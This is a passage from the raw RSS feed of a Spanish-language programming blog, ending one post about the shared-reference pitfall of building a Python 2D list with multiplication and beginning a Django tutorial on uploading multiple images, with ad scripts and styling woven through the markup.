style=&#34;display:flex;&#34;&gt;&lt;span&gt;new_matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# [[0, 3, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el código anterior, se crea un array nuevo por cada elemento en nuestro list comprehension, asegurándonos de que existan 4 arrays individuales y de que cada cambio ocurra solo una vez en nuestra matriz bidimensional.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ahora ya sabes que, si en una matriz bidimensional se están cambiando todos los elementos cuando modificas uno solo, debes cambiar la manera en la que generaste tu matriz.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba resolviendo una kata en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.codewars.com/r/qsX8Ww&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;codewars&lt;/a&gt;&#xA;, uno de los pasos del problema necesitaba de una matriz bidimensional, en palabras más mundanas: un array de arrays. En Python es súper sencillo crear una matriz bidimensional usando el operador de multiplicación, como si se tratara de números.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arr &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[0, 0, 0, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no tienes idea de lo que estoy hablando te tengo un excelente recurso que puede servirte muchísimo: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;&amp;ldquo;Inmersion en Python&amp;rdquo;, totalmente gratuito y en español.&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo subir múltiples imágenes en Django?</title>
      <link>https://coffeebytes.dev/es/django/como-subir-multiples-imagenes-en-django/</link>
      <pubDate>Tue, 30 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/como-subir-multiples-imagenes-en-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Seguramente ya sabes como subir una imagen usando un modelo de Django pero, ¿y si no queremos subir una sino múltiples imágenes en Django?&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-django&#34;&gt;Instalación de Django&lt;/h2&gt;&#xA;&lt;p&gt;Primero instalamos Django usando pipenv. Además instalaremos Pillow dado que trataremos con imágenes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django Pillow&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;A continuación vamos a crear un nuevo proyecto y entraremos en la carpeta recién creada.&lt;/p&gt;&#xA;&lt;p&gt;Si no conoces los comandos de GNU/Linux tengo una serie de entradas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/comandos-basicos-de-linux-grep-ls-cd-history-cat-cp-rm-scp/&#34;&gt;con los comandos más usados de GNU Linux&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startproject yourproject&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; yourproject/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Acto seguido, creemos una aplicación, y nombrémosle gallery.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp gallery&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recordemos instalar la nueva aplicación que creamos en el archivo &lt;em&gt;settings.py&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;gallery&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;creacion-de-un-modelo&#34;&gt;Creación de un modelo&lt;/h2&gt;&#xA;&lt;p&gt;Dentro de nuestra aplicación llamada &lt;em&gt;gallery&lt;/em&gt;, vamos a crear un modelo con un campo de Imagen.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;gallery&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    image &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ImageField()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Corramos las migraciones para que los cambios en nuestra aplicación se vean reflejados en la base de datos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;agregando-plantillas&#34;&gt;Agregando plantillas&lt;/h2&gt;&#xA;&lt;p&gt;A continuación, creemos una carpeta llamada &lt;em&gt;templates&lt;/em&gt; para que aloje nuestra plantilla con el formulario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch index.html&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agreguemos la ubicación &lt;em&gt;templates&lt;/em&gt; a la configuración TEMPLATES de nuestro archivo de configuración; &lt;em&gt;settings.py&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TEMPLATES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.backends.django.DjangoTemplates&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DIRS&amp;#39;&lt;/span&gt;: [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;templates&amp;#39;&lt;/span&gt;],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;APP_DIRS&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OPTIONS&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;context_processors&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.context_processors.debug&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.template.context_processors.request&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth.context_processors.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages.context_processors.messages&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;un-formulario-para-subir-multiples-imagenes-en-django&#34;&gt;Un formulario para subir múltiples imágenes en Django&lt;/h2&gt;&#xA;&lt;p&gt;Para que nuestro input acepte múltiples imágenes agregamos el atributo &lt;em&gt;multiple&lt;/em&gt; a nuestro campo &lt;em&gt;input&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Recuerda agregar el método POST y la etiqueta &lt;strong&gt;&lt;em&gt;{% csrf_token %}&lt;/em&gt;&lt;/strong&gt; para que tu formulario esté protegido.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;!&lt;/span&gt;DOCTYPE html&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;html lang&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;head&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;meta charset&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;meta name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; content&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&lt;span 